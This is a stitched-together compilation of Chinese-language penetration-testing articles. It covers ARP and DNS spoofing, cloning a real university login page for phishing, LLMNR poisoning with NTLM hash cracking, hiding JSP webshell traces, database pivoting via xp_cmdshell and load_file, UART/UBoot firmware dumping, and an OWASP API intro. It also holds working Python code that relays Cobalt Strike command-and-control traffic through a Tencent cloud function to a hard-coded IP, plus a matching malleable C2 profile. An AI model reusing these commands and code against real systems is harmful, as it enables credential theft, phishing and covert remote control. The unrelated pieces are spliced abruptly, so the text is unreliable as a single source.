Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

# 参数解释
-i 指定使用的接口
-c 指定当还原arp配置时t使用的MAC地址默认为使用原来的MAC即当停止arpspoof命令后默认取消毒化)
-t 指定要毒化的主机如果不指定的话默认为局域网下所有主机
-r 双向毒化host和target),从而双向扑捉数据仅当同时指定 -t的时候才有效

#执行示例
arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

fjv4hrpisll14879.jpg

Step 5:之后driftnet 获取受害者用户访问网站时残留的图片数据信息

iel0ayl4qky14881.jpgdxxgemikz3c14884.jpg1tohygfpxeg14887.jpg

登录凭证

Step 1:这里我们接着上面图片数据的部分展开,我们在攻击主机上使用ettercap捕获通信数据

ettercap -Tq -i eth0

44imht2he5214890.jpg

Step 2:模拟一个第三方FTP服务

atdusqusi2n14894.jpg

Step 3:用户访问第三方FTP服务并进行认证

wz0dkuqn1rv14896.png

Step 4:攻击者成功捕获到用户的账户密码信息

whin4gd3kt014898.jpg

欺骗扩展

这里我们补充几个在Windows下常用的ARP欺骗手法以及ARP欺骗工具的使用~

NetFuke
测试环境
  • 目标主机:192.168.174.170(Win 7)
  • 攻击主机:192.168.174.169(Windows Server 2003)
  • 网关地址:192.168.174.2
欺骗流程

Step 1:在攻击主机上运行NetFuke软件并进行嗅探配置(此处的网卡必须要识别出来IP地址,否则无法进行ARP欺骗)

5rz5el2r1g214899.png

Step 2:配置ARP欺骗

fvmd3tpshww14903.png

Step 3:插件命令参数设置

tjggldx5toh14904.jpg

Step 4:开启ARP欺骗

p5fzrmdyksi14909.png

攻击检测

XArp工具简介

XArp是国外的一款热门的ARP防火墙软件,能够帮助用户建立一个专门的检测系统,使用高级技术来检测应对网络上的各类ARP攻击,例如,使用ARP欺骗,攻击者可以窃听您的所有网络流量,包含电子邮件与密码,所有这一切都完全没有被发现,XArp执行主动与被动方法来检测此类攻击。

攻击检测

Step 1:开启NetFuke实施ARP欺骗攻击

mrizbyhfekb14912.png

Step 2:之后再XARP端可以看到报警信息以及相关记录信息

5q3fsp2t4fw14917.jpg


PS:个人感觉这个工具并不是那么好~

防御措施

ARP欺骗的防御手法主要从以下两个方面出发:
a、阻断伪造数据包的传播:
该方法主要是从交换机或者路由器等网络设备的角度出发,以交换机为例,将交换机的端口、MAC地址、IP地址三者绑定,生成DAI(Dynamic ARP Inspection)检测表,如果某个端口的主机发送了与它在DAI表中的条目不相符的数据包,可以选择令其断网或者丢弃其发送的数据包
b、受害者不接受伪造数据包
该方法主要是从用户的角度出发,首先不要随便接入陌生的网络是一定的,其次,用户可以在设备上安装ARP防火墙,如果是技术人员,可以选择建立静态ARP条目(适用于不会经常变动且数量较少的网络环境),Windonwde用户使用命令"arp -s ip"地址mac地址来进行静态绑定

DNS攻击

域名系统

DNS(Domain Name System),即域名解析协议,域名系统以分布式数据库的形式将域名和IP地址相互映射,简单来说,DNS是用来解析域名的,有了DNS我们就不用再记住烦人的IP地址,用相对好记的域名就可以对服务器进行访问,即使服务器更换了IP地址,我们依旧可以通过域名访问该服务器,这样能够使我们更方便的访问互联网


1ml3oqw12ma14933.png



当我们在浏览器中输入www.baidu.com后,将经历以下查询过程:

  • 客户机向本地DNS服务器查询www.baidu.com
  • 本地DNS服务器检查本地数据库,由于没有baidu.com域的记录,因此它将查询信息传递到根域DNS服务器,请求解析主机名称
  • 根域DNS服务器把负责解析"com"域的DNS服务器的IP地址返回给本地DNS服务器
  • 本地DNS服务器将请求发送给负责"com"域的DNS服务器
  • 负责"com"域的服务器根据请求将负责"baidu.com"域的DNS服务器的IP地址返回给本地DNS服务器
  • 本地DNS服务器向负责"baidu.com"区域的DNS服务器发送请求,由于此服务器具有www.baidu.com的记录,因此它将www.baidu.com 的IP地址返回给本地DNS服务器
  • 本地DNS服务器将www.baidu.com的IP地址发送给客户机
  • 域名解析成功后,客户机将http请求发送给Web服务器
  • Web服务器响应客户机的访问请求,客户机便可以访问目标主机

DNS欺骗

DNS在互联网中扮演着如此重要的角色,但是在设计DNS协议时,设计者没有考虑到一些安全问题,导致了DNS的安全隐患与缺陷,DNS欺骗就是利用了DNS协议设计时的一个非常严重的安全缺陷
首先,欺骗者向目标机器发送构造好的ARP应答数据包,ARP欺骗成功后,嗅探到对方发出的DNS请求数据包,分析数据包取得ID和端口号后,向目标发送自己构造好的一个DNS返回包,对方收到DNS应答包后,发现ID和端口号全部正确,即把返回数据包中的域名和对应的IP地址保存进DNS缓存表中,而后来的真实的DNS应答包返回时则会被丢弃

欺骗实践

测试环境
  • 攻击主机:192.168.174.129
  • 目标主机:192.168.174.170
简易测试

Step 1:测试攻击主机的网络连通性

kdzyxr5hgyg14935.jpg

Step 2:之后在攻击者主机端启动Apache服务并构造一个钓鱼页面,这里简化为一个普通的HTML页面,本地测试效果如下

sj2o3yithkx14937.png

Step 3:查找etter.dns文件,并修改该配置文件,将www.al1ex.com指向本机IP地址

locate etter.dns
leafpad /etc/ettercap/etter.dns

ab4dnf2y44e14940.jpg1xh4gqoephb14942.jpg

Step 4:使用ettercap开始欺骗

ettercap -G

tke1qlggumm14946.jpg

之后开启DNS欺骗

zhgbtlaojn114951.pngznrqaaswdqv14952.pngq40230muwrm14954.png

Step 5:查看效果
www.baidu.com——正常访问

5bwxllxg3pn14956.jpg


www.al1ex.com——钓鱼页面

noxfns4vmcb14961.jpg

DNS欺骗记录:

ibnn32k5vcz14963.png

钓鱼模拟

Step 1:开启端口转发功能

echo 1 > /proc/sys/net/ipv4/ip_forward

zv2i5ft3n0z14965.jpg

Step 2:查找etter.conf文件,并修改该配置文件

locate etter.conf
leafpad /etc/ettercap/etter.conf

nalxdirkdw114967.jpg

修改为0

5sayhq0r23t14970.jpg

Step 3:查找etter.dns文件,并修改该配置文件

locate etter.dns
leafpad /etc/ettercap/etter.dns

m2v3sv4ayqk14972.jpg

增加一条DNS记录,这里的域名由我们制作的钓鱼网站域名而定:

1yi4zhcz2df14975.jpg


Step 4:下面进行DNS欺骗攻击

ettercap -T -q -M arp:remote -P dns_spoof /192.168.174.170/192.168.174.2/

#说明:
受害者地址:192.168.174.170
网关的地址:192.168.174.2

fd3grfla3ri14979.jpg

Step 5:使用setoolkit克隆网站

setoolkit

oukcw4fnwqq14982.jpgr2ssjtrl41c14984.jpgsv3n5ob5gv514986.jpg1ct0ehelx1y14987.jpg

http://jwbinfosys.zju.edu.cn/default2.aspx

Step 6:在本地访问克隆网站

jseij42xt2b14990.jpg

Step 7:之后诱导用户访问网站

zwsx42gq1wh14992.jpg


效果有点差强人意,不过当用户访问网站并登录时,会获取到用户的登录凭证信息(后期发现是IE的安全策略的原因)

dhshh4diggw14993.jpg

DNS欺骗记录:

zbqg0zjestz14994.jpg

防御措施

DNS欺骗是很难进行有效防御的,因为大多情况下都是被攻击之后才会发现,对于避免DNS欺骗所造成危害,这里给出以下建议:
1、因为DNS欺骗前提也需要ARP欺骗成功,所以首先做好对ARP欺骗攻击的防范
2、不要依赖于DNS,尽管这样会很不方便,可以使用hosts文件来实现相同的功能
3、使用安全检测软件定期检查系统是否遭受攻击
4.使用DNSSEC

hn40tmw02ii14996.png

LLMNR攻击

协议简介

自Windows Vista起,Windows操作系统开始支持一种新的名称解析协议—LLMNR,主要用于局域网中的名称解析,LLMNR能够很好的支持IPv4和IPv6,它也是一个仅次于DNS的名称解析方式,而且在Linux操作系统中也实现了LLMNR,LLMNR协议解析名称的特点为端到端,IPv4的广播地址为224.0.0.252,IPv6的广播地址为FF02:0:0:0:0:0:1:3或FF02::1:3

解析顺序

  • 检查本地NetBIOS缓存,如果缓存中没有记录,则向当前子网/域发送广播进行查询
  • 检查当前子网/域内主机,如果没有主机响应,则整个请求宣告以失败结束

协议风险

根据LLMNR协议的解析过程可知,当用户访问一个不存在的网络的域名时,例如:Al1ex.com,那么首先会去检查本地NetBIOS缓存,由于缓存记录中没有,进而转去向当前子网/域内进行广播查询,此时如果攻击者进行恶意应答,例如:欺骗用户Al1ex.com为攻击者的服务器端IP地址,那么用户便会先攻击者提供的恶意IP地址发起请求,同时使用用户的Net-NTLM进行身份验证,此时攻击者通过LLMNR投毒的方式即可成功捕获到用户的身份信息,示意图如下:

协议攻击

攻击者可以通过LLMNR协议进行投毒攻击,当用户访问某一个无法解析的域名(不存在/拼写错误)时可以使用LLMNR协议投毒的方式将攻击者主机的IP地址作为应答,之后窃取用户的Net-NTLM Hash

演示环境
  • 域控主机:192.168.174.2
  • 域内主机:192.168.174.4
  • 攻击主机:192.168.174.129
攻击手法

下面我们通过两种方式来演示如何进行LLMNR/NBNS欺骗攻击~

Responder

Step 1:在攻击主机上执行一下命令开启Responder

./Responder.py -I eth0

5xohdbff04l15003.jpg

Step 2:之后模拟受害者访问不存在的\Al1ex.com(可以通过钓鱼的方式或者恶意PDF等众多的方式来实现)

ulksdzb1fja15008.jpg

Step 3:之后在Responder端可以成功捕获到用户的NTLM-Hash

ocjxy5e12vl15010.jpg

Step 4:之后对用户的NTLM-Hash进行爆破(NTLM V1为5500,NTLM v2为5600)

hashcat -m 5600 HTTP-NTLMv2-192.168.174.111.txt passkey.txt
Inveigh实现

Inveigh下载地址:https://github.com/Kevin-Robertson/Inveigh
Step 1:之用管理员权限打开攻击机器的powershell依次输入以下命令

. .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y

#PS:如果有执行策略限制再加一条Set-ExecutionPolicy Bypass -Scope Process

Step 2:模拟受害者用户访问不存在的UNC路径,且无需认

hd4qriholsf15013.jpg

Step 3:之后再攻击主机中可以看到已经成功抓取到Net-NTLM Hash

dwiduk4hval15014.png

Inveigh-Zero

项目地址:https://github.com/Kevin-Robertson/InveighZero

btzgrkutti515018.jpg


Step 1:之用管理员权限打开攻击机器的cmd之后执行以下命令

Inveigh.exe

Step 2:模拟用户在浏览器中输入错误的UNC查询路径,且无需填写表单信息

5mygawynngn15028.jpg

Step :3:之后可以捕获到用户的Net-NTLM Hash

zomsdu4nu1c15032.jpg

防御措施

关于LLMNR Poison攻击的实战思路有很多,包括劫持FTP,MySQL,MSSQL Server等,具体的实现可自由发挥,同时为了防止遭到LLMNR Poison攻击,可以导入下面的注册表键值关闭LLMNR,不过关闭了LLMNR以后, 可能用户的一些正常需求会受到影响~

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f

0x00 前言我們知道,當我們訪問jsp文件時,Java環境會先將jsp文件轉換成.class字節碼文件,再由Java虛擬機進行加載,這導致了Java服務器上會生成對應名稱的.class字節碼文件。對於webshell,這會留下痕跡。

為了實現自刪除.class字節碼文件,我們可以通過反射獲得.class字節碼文件的路徑,再進行刪除。本文將以Zimbra環境為例,結合AntSword-JSP-Template,分析利用思路。

0x01 簡介本文將要介紹以下內容:

通過反射實現webshell編譯文件的自刪除

通過反射實現AntSword-JSP-Template

0x02 通過反射實現webshell編譯文件的自刪除根據上篇文章《Java利用技巧——通过反射修改属性》 的內容,我們按照映射request-_scope-_servlet-rctxt-jsps,通過多次反射最終能夠獲得JspServletWrapper實例

查看JspServletWrapper類中的成員,jsps-value-ctxt-servletJavaFileName保存.java編譯文件的路徑,jsps-value-ctxt-classFileName保存.class編譯文件的路徑,示例如下圖

48089bb33938b0af1f537735f2b22e7.png

為了只篩選出當前jsp,可以通過request類的getServletPath()方法獲得當前Servlet,如下圖

68075c340130695b19341cc9816c870.png

從ctxt對象獲取servletJavaFileName可以調用JspCompilationContext類的getServletJavaFileName()方法,如下圖

c9c3600a846f3f03cd5ab0ba7015001.png

從ctxt對象獲取classFileName可以調用JspCompilationContext類的getClassFileName()方法,如下圖

74f06978d9b03ead4f10be6764000fb.png

綜上,由此我們可以得出通過反射獲取編譯文件路徑的實現代碼如下:

image.png

刪除編譯文件的代碼如下:

image.png

0x03 通過反射實現AntSword-JSP-Templaterebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 介紹了Java一句話木馬的實現方法,AntSword-JSP-Template也採用了相同的方式

我在測試AntSword-JSP-Template的過程中,發現編譯文件會多出一個,例如test.jsp,訪問後,生成的編譯文件為test_jsp.class和test_jsp.java,如果使用了AntSword-JSP-Template,會額外生成編譯文件test_jsp$U.class

rebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 提到:

“正常情況下,Java並沒有提供直接解析class字節數組的接口。不過classloader內部實現了一個protected的defineClass方法,可以將byte[]直接轉換為Class

因為該方法是protected的,我們沒辦法在外部直接調用,當然我們可以通過反射來修改保護屬性,不過我們選擇一個更方便的方法,直接自定義一個類繼承classloader,然後在子類中調用父類的defineClass方法。 ”

這裡我打算通過反射修改保護屬性,調用ClassLoader類的defineClass()方法

在ClassLoader類中,defineClass()方法有多個重載,如下圖

6a71d8fd889bc319c50c39e4599605b.png

這裡選擇defineClass(byte[] b, int off, int len)

rebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 還提到:

“如果想要順利的在equals中調用Request、Response、Seesion這幾個對象,還需要考慮一個問題,那就是ClassLoader的問題。JVM是通過ClassLoader+類路徑來標識一個類的唯一性的。我們通過調用自定義ClassLoader來defineClass出來的類與Request、Response、Seesion這些類的ClassLoader不是同一個,所以在equals中訪問這些類會出現java.lang.ClassNotFoundException異常”

解決方法同樣是複寫ClassLoader的如下構造函數,傳遞一個指定的ClassLoader實例進去:

image.png

最終,得到通過反射實現AntSword-JSP-Template的核心代碼:

image.png

訪問通過反射實現AntSword-JSP-Template的test.jsp後,額外生成的編譯文件為test_jsp$1.class

0x04 小結本文介紹了通過反射實現webshell編譯文件自刪除和AntSword-JSP-Template,記錄關於反射的學習心得。

首先,我们需要登录腾讯云,开启云函数。
登录腾讯云后,搜索云函数。开通即可。
zsse3faa1oi14797.png


初次登录,需要授权。
登录控制台后,点击新建。
r5y4su5od3u14798.png

函数名称随意,选择从头开始,环境填
Python3.6,选完后下拉,把代码搞里头。
x5oiesk43ux14800.png

复制下面代码,并修改服务器地址。

# coding: utf8
import json,requests,base64
def main_handler(event, context):
    response = {}
    path = None
    headers = None
    try:
        C2='http://43.134.164.72:80'
        if 'path' in event.keys():
            path=event['path']
        if 'headers' in event.keys():    
            headers=event['headers']
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else:
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
            print(resp.headers)
            print(resp.content)
        response={
            "isBase64Encoded": True,
            "statusCode": resp.status_code,
            "headers": dict(resp.headers),
            "body": str(base64.b64encode(resp.content))[2:-1]
        }
    except Exception as e:
        print('error')
        print(e)
    finally:
        return response

31rlnjejy4n14801.png


完成后,点击保存!
接着点击触发管理,创建触发器
格式如下
q0e34k4ovhf14802.png

点击api名称编辑后到达此页面,路径修改为
/
zzw0e1dqcjo14803.png

完成 后点击 发布服务
新增C2的profile文件,命名为win_tecent_cloud_func.profile

set sample_name "t";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

保存完成后,存放在cs目录下。
启动cs服务端

 ./teamserver vpsip admin12345 win_tecent_cloud_func.profile

ezldvataibv14804.png


将云函数的公网接口地址域名填入listener的http hosts和stager的hosts
注意不要http 和80
u1a32ci3zus14805.png

添加监听
oxdzavrssj014806.png

生成shell后成功上线。
78.png



原文连接: https://blog.bbskali.cn/3771.html

 前言

看到了某篇关于站库分离类型站点相关的讨论,想总结下信息收集的技巧。

正文

关于站库分离类型站点网上暂时没有找到总结性的文章,所以想尝试记录下关于站库分离类型站点的渗透思路。

对站库分离类型站点通常可以有两个渗透入口点:

1.web 网站

2.数据库

渗透思路其实也是比较常规。但是这里如果两个入口点无非两种路径。

  1. 从 web 网站打入进而打站库分离的数据库,内网渗透
  2. 从数据库打入进而打站库分离的 web 网站,内网渗透

根据不同的路径定制不同的渗透测试方案,下面记录一下流程和容易遇到的问题。

一、从 web 入口渗透

从 web 入口通常就是通过网站的各种漏洞来 getshell,比如文件上传、命令执行、代码执行、还有 SQL 注入写入一句话(into outfile、日志备份等)。

在获得 web 权限或者有诸如文件读取等漏洞时,我们还读数据库配置文件、对数据库内容分析、查找数据库备份,进而对数据库目标 ip 进行渗透,以便后续操作。

二、从数据库入口渗透

但是这里要说主要是外网暴露的数据库入口点弱口令;web 网站 SQL 注入。

从数据库入口渗透,同样主要是为了获取更大的权限,或者扩展我们的渗透成果,比如从数据库里可以得到一些密码信息,用户名等,在后续的内网渗透中可以很有效的帮助我们。

站点是站库分离的,数据库和 web 不在同一台服务器上,这时候不能写入一句话木马通过 web 去连,因为路径没有用。如果是从 web 端找到的 SQL 注入,那么可以通过以下这些方式去做信息收集、获取权限。

1.MYSQL

(1)定位 web 端 ip 地址

通过查询 information_schema 库中的 PROCESSLIST 可以查看当前 MYSQL 的连接情况。因为 web 应用会产生查询数据库操作,所以在回显出来的 host 字段中会带回目标的 ip:port

select * from information_schema.PROCESSLIST;

0gn4q5u252g14788.jpg

在得到了 web 端的 ip 我们可以进而对 web 端进行渗透。

(2)load_file () 获取数据库所在服务器的敏感信息

如果没有 secure_file_priv 参数的限制(MySQL5.7 以下)我们还可以用 load_file() 函数对文件内容进行读取。

select load_file('C:/test.txt');# 左斜杠 /

53nzgniypch14790.jpg

还可以获取网卡信息,比如读:

/etc/udev/rules.d/70-persistent-net.rules获取网卡名称。

/etc/sysconfig/network-scripts/ifcfg-网卡静态IP
DHCP的话/var/lib/dhclient/dhclient--网卡.lease

2.MSSQL

(1) 判断是否站库分离

得到客户端主机名

select host_name();

得到服务端主机名

select @@servername;

根据结果判断是否分离,结果一样就可能站库同服务器,结果不一样就是站库分离。

(2)存储过程执行命令

我们可以通过 MSSQL 的存储过程执行系统命令,可以尝试直接提升权限后渗透其他主机,

常用到的两个:

  1. XP_CMDSHELL
  2. SP_OACREATE

可以探测数据库服务器是否出网,通过执行 ping 或者 curl 看是否出网,通常遇到 MSSQL 我们直接就通过命令执行上线了。

同样是数据库,自然其中有一些敏感信息,为了进一步渗透,可以整理密码本或者其他信息。


使用Raspi配置raspi-config是一個用戶空間工具,它允許我們配置樹莓派的各個方面,其中之一是啟用各種外部接口。我們將使用raspi-config來啟用UART接口,首先啟動工具,如下所示:

sudo raspi-config 這將導致出現以下結果:

33.png

接下來,我們將選擇Interface Options,然後是Serial Port,如下圖所示:

34.png

選擇這個選項後,我們會遇到兩個問題:

1.你希望通過串行方式訪問登錄shell嗎?

2.你想啟用串行端口硬件嗎?

我們現在已經在樹莓派上啟用了UART,接下來,我們需要將它連接到我們的機櫃。我們將機櫃的Tx連接到Pi的Rx,將機櫃的Rx 連接到Pi 的Tx:

35.png

UART工具使用樹莓派上的UART接口,我們可以嘗試連接到目標設備上的這個Serial Port。為了與這個Serial Port交互,我們將使用屏幕實用程序。當與UART接口時,屏幕要求我們傳遞一個設備和波特率,由於我們知道上一段的波特率,我們將按如下方式運行:

sudo screen -L -Logfile cabinet-bootup.log /dev/ttyS0 115200

-L -Logfile cabinet-bootup.log——將會話記錄到cabinet-bootup.log文件;

/dev/ttyS0——要使用的串行設備;

115200——波特率;

我們現在可以在配置我們的UART 和啟動屏幕後打開機櫃。當我們打開機櫃電源時,我們看到以下內容:

36.png

最終,我們發現自己在一個控制台:

37.png

我們現在有一個根控制台,可以探索文件系統,查看目標上正在運行的內容,並了解有關它是如何構建的更多信息。如果可能,我們的下一步將是對分區進行映像;讓我們先看看掛載了哪些分區:

38.png

我們的根文件系統是以只讀的形式掛載的,並且使用的是squashfs格式。此外,還掛載了標記為userdata的另一個分區。如果我們檢查可用的block設備,我們會看到以下內容:

39.png

我們可以看到,SPI flash設備大概位於/dev/rkflash0。要獲得這個block設備的圖像,我們可以將USB插到機櫃的USB端口並使用dd實用程序。當我們插入一個USB閃存驅動器時,它在/dev/sda 中被枚舉,我們可以用以下命令將SPI閃存的內容映射到USB驅動器:

Sudoddif=/dev/rkflash0of=/dev/sdastatus=progress如果我們將USB 驅動器插入Pi 並檢查分區表,我們會看到相應的分區已映射到驅動器。

40.png

現在我們有了閃存的備份,這是我們嘗試修改嵌入式系統時應該採取的第一步;在我們嘗試修改任何內容或重新刷新任何分區之前,我們應該確保我們有辦法恢復它們;為此,我們將調查引導加載程序。作為起點,讓我們注意啟動日誌開頭的以下行:

41.png

如果我們在為機櫃供電時在屏幕提示中按住Ctrl-c,我們會看到以下內容:

42.png

我們現在有一個UBoot 提示符,在深入探討之前,讓我們先談談UBoot 及其工作原理。

UBOOTUBoot是嵌入式系統中常用的開源引導加載程序。它支持各種架構和CPU類型。但是,UBoot 的職責通常是為嵌入式系統加載操作系統內核或主應用程序。

UBoot 還包括在你的逆向工程工作中有用的調試實用程序;最值得注意的是UBoot 命令提示符。

UBoot命令UBoot 控制台可以包含大量的內置實用程序,這些實用程序可以在標準引導過程中(通常通過環境變量)或在UBoot 命令行中使用。可用的命令將根據UBoot映像的構建方式而有所不同。

現在我們已經發現了一個UBoot 控制台,讓我們首先通過運行help 命令查看哪些命令是公開可用的。

43.1.png

43.2.png

43.3.png

在查看每個命令之前,讓我們重新審視一下我們的主要目標,即能夠從引導加載程序讀取和寫入根文件系統分區,以防我們以後需要恢復這個機櫃。下面的命令非常醒目,因為它們涉及內存讀取和寫入:

44.png

接下來,我們可以使用printenv 命令查看此引導加載程序配置的環境變量。這將為我們提供更多關於該平台如何啟動、正在使用的內存地址以及其他可用接口的背景信息。

UBoot環境變量在為設備構建或配置UBoot映像時,可以配置各種環境變量。這些環境變量控制啟動時執行的操作。存儲這些變量的方法有很多種。有時它們被硬編碼到二進制中,它們也可以駐留在閃存分區上,允許用戶從UBoot提示符修改它們。

我們可以使用printenv 命令檢查環境變量:

45.1.png

45.2.png

我想在下表中指出一些有趣的變量:

46.png

此時,如果我們交叉引用我們在硬件檢查期間收集的信息,我們會看到一致的結果。在我們的硬件檢查之後,我們假設SPI flash是主要的存儲方法,這個假設在UBoot環境變量和可用的命令中得到驗證。

讓我們從檢查rksfc命令開始,通過搜索,這是RockChip的SPI SFC(串行flash控制器)接口工具。該命令包含以下子命令:

47.png

可以通過以下命令獲取SPI flash的信息:

48.png

使用這些命令,我們可以了解更多關於SPI flash的信息。我們可以看到塊大小為512,該芯片總共包含220672 (0x35E00)塊,被分成5個分區:

uboot ——可能包含我們的UBoot 映像/第一階段引導加載程序;

trust ——可信執行環境映像;

boot ——內核映像/ramdisk;

rootfs ——我們最大的分區,內核的根文件系統;

user data——用戶特定數據,可能用於高分、用戶設置等;

注意,該數據與我們之前在根控制台提示符中看到的內容相匹配。我們現在了解了閃存是如何分區的以及可能有哪些數據可用,但是我們如何在不向板上焊接額外線路的情況下讀取/寫入這些數據呢?如果我們檢查usb 命令,我們會看到以下內容:

49.png

使用機櫃側面的USB 端口,如果我們插入設備並運行USB start 後跟USB info,則會生成以下輸出:

50.1.png

這樣,我們就可以看到USB堆棧成功枚舉並檢測到我們的大容量存儲設備。

在繼續之前,讓我們回顧一下我們對UBoot 環境的了解:

通過檢查環境變量,我們可以在RAM中找到可用的地址;

使用rksfc讀取實用程序,我們可以讀取SPI閃存扇區到RAM;

使用USB命令,我們可以枚舉一個USB設備並寫入它;

我們可以將SPI flash讀入RAM,連接USB設備,然後使用USB寫入命令將SPI flash數據寫入USB設備。如果這種方法有效,我們還應該能夠通過反向步驟恢復閃存圖像,從USB驅動器讀取數據,並使用rksfc write寫入閃存。讓我們從測試讀取開始。

首先,我們將嘗試使用以下命令將整個SPI 閃存讀入RAM 以獲取目標地址,我們將嘗試存儲在$ramdisk_addr_r 中的地址,即0x6a200000:

51.png

這不起作用,我們以某種方式觸發了未定義的指令異常。我們可能破壞了UBoot 正在使用的一些東西,讓我們看看當我們嘗試另一個內存較低的地址時會發生什麼:

52.png

移動到RAM 中的較低地址允許讀取完成而不會破壞任何內容,讓我們看看我們現在是否可以將這些數據寫回USB 驅動器:

53.png

現在我們來看看這個驅動器的內容,把它插入樹莓派,看看我們有什麼:

54.png

此時,我們可以看到USB驅動器上的分區表與rksfc part 0命令的輸出相匹配。接下來,我們將使用dd實用程序提取用於分析的各個分區。

55.png

到目前為止,該數據與我們在查看正在運行的系統上的掛載輸出和UBoot 菜單中的分區表時看到的數據相匹配。因此,我們可以通過unsquashfs 提取squashfs 分區並嘗試掛載ext2 分區以確認它們是有效的:

56.png

看起來我們有一個有效的根文件系統,現在我們可以開始逆向工程軟件了,並了解更多關於我們如何修改這個系統來玩更多遊戲或運行自定義固件的信息。

現在我們已經確認可以讀取flash,讓我們測試一下,看看我們是否可以使用上面描述的方法將這張圖片寫回flash:

57.png

現在我們重新啟動,希望我們重新刷新的圖像仍然有效。

58.jpg

成功!我們現在可以使用我們的USB 驅動器從UBoot 讀取/寫入SPI 閃存;這對於測試補丁和固件修改很有用!

現在我們可以用UBoot 讀/寫這個機櫃的flash,如果我們可以自動擦除flash 的各個分區和段,而不需要每次手動輸入範圍,那就太好了。為此,我們將使用Depthcharge 實用程序來自動化我們的UBoot 交互!

使用DEPTHCHARGE 編寫UBOOT在使用UBoot環境時,我們經常需要自動化交互。例如,在我們的示例中,我們可能希望自動重寫特定的閃存分區,而不必每次都手動輸入地址偏移量。對我們來說幸運的是,NCC集團的人已經組裝了一個工具來幫助我們,這個工具叫做深度充電。我們可以使用這個自動化的過程,從我們的閃存芯片和外部USB驅動器讀取數據。我們的腳本將需要執行以下操作:

連接到UART並識別UBoot提示符;

通過rksfc讀寫命令對SPI flash進行讀寫操作;

通過USB讀寫命令對USB驅動器進行讀寫;

首先,我們需要安裝模塊,可以通過執行命令sudo pip install depthcharge.o在Pi上安裝depthcharge。

連接到UART並識別UBoot提示符

我們可以使用以下python代碼連接到UBoot提示符:

微信截图_20220208150823.png

在上面的函數中,我們創建了一個Console對象,它要求我們提供一個到Serial Port和波特率的路徑。然後這個控制台對像被用來製作Depthcharge上下文,我們將使用它來訪問Depthcharge所提供的功能。 depthcharge文檔中有一個很好的例子,詳細描述了安裝過程。

Flash 通過depthcharge 讀寫現在我們已經連接到接口,我們需要實現rksfc讀寫命令。我們可以使用depthcharge的send_command() API來做到這一點。這個API調用允許我們生成UBoot命令並將其發送到命令提示符並返迴響應。在下面的例子中,我們在cmd_str變量中構造了read命令,並確保參數被正確格式化,然後使用send_command() API發出命令。

59.png

現在我們已經實現了對閃存的讀寫,接下來我們需要枚舉USB堆棧,然後從閃存驅動器中讀寫。

USB 通過depthcharge 讀寫與我們實現rksfc 命令的方式類似,接下來我們將實現usb 命令。該過程將類似於用於rksfc 命令的過程:

60.png

使用Depthcharge 轉儲閃存現在我們已經定義了適當的函數,我們可以嘗試以下操作:

61.png

如果我們運行這個腳本,就會看到如下輸出:

62.1.png

62.2.png

當我們將u盤插入Pi時,就會會看到以下分區:

63.png

成功!我們已經使用Depthcharge 將SPI 閃存提取到USB 設備!

文件系統內容現在我們有了一種可靠的讀取和寫入flash的方法,讓我們簡要地檢查一下內容。有趣的文件位於/moo文件夾中。此文件夾包含仿真器及其相關資源。 Moo是一個使用自定義ROM格式的自定義模擬器,2020年,一些研究人員在模擬器的另一個版本上進行了測試。然而,如果我們查看目錄內容,會發現一些有趣的現象:

64.png

在這個系統上肯定不可能有PE32 Windows 可執行文件,如果我們將此文件複製到Windows 機器上並嘗試執行它:

65.jpg

它運行了!顯然,這是一個構建工件,開發者沒有意識到它存在於系統中。

使用本文介紹的方法,我們現在可以使用UBoot 將SPI 閃存讀寫到USB 驅動器。我們已經提取了根文件系統並確定了核心模擬組件。我們的下一個目標將是對該目標上的一些二進製文件進行逆向工程,以確定運行自定義固件的困難程度。

總結我們在本文中介紹瞭如何使用我們的萬用表/邏輯分析儀執行嵌入式設備的初始拆卸和識別潛在的調試頭。然後進一步詳細介紹瞭如何分析未知的UART 流量並使用帶有Raspberry Pi 的屏幕連接到Serial Port。連接到Serial Port後,我們發現可以通過按Ctrl-C來訪問UBoot控制台。在查看了UBoot 控制台之後,我們編寫了一個depthcharge 腳本來將每個SPI 閃存分區提取到一個外部閃存驅動器中。所有使用的腳本和工具都可以在github上找到。

應用程序編程接口或API 通過實現流暢的數據交換來連接我們使用的軟件和服務。他們經常交換高度敏感的信息:個人數據、用戶憑據、財務詳細信息等。這就是為什麼API 是黑客攻擊的熱門目標——根據API 安全狀況報告,91% 的公司在2020 年經歷了API 安全事件[PDF ]。

在本文中,我們概述了OWASP API 安全項目中最普遍的API 漏洞,展示了它們是如何被利用的,並提供了在開發過程中保護您的API 免受此類安全問題的方法。

最普遍的API 漏洞是什麼?在處理應用程序安全時,保護API 是關鍵任務之一,因為API 通常是攻擊者的網關。 Gartner 預測,到2022 年,API 濫用將成為最常見的黑客攻擊媒介,並將導致許多數據洩露。

根據OWASP API 安全項目提供的API 安全前10 名(2019 年)列表,通過關注API 的前10 大安全風險,優先考慮保護API 的工作。

image.png

OWASP 十大API 安全風險

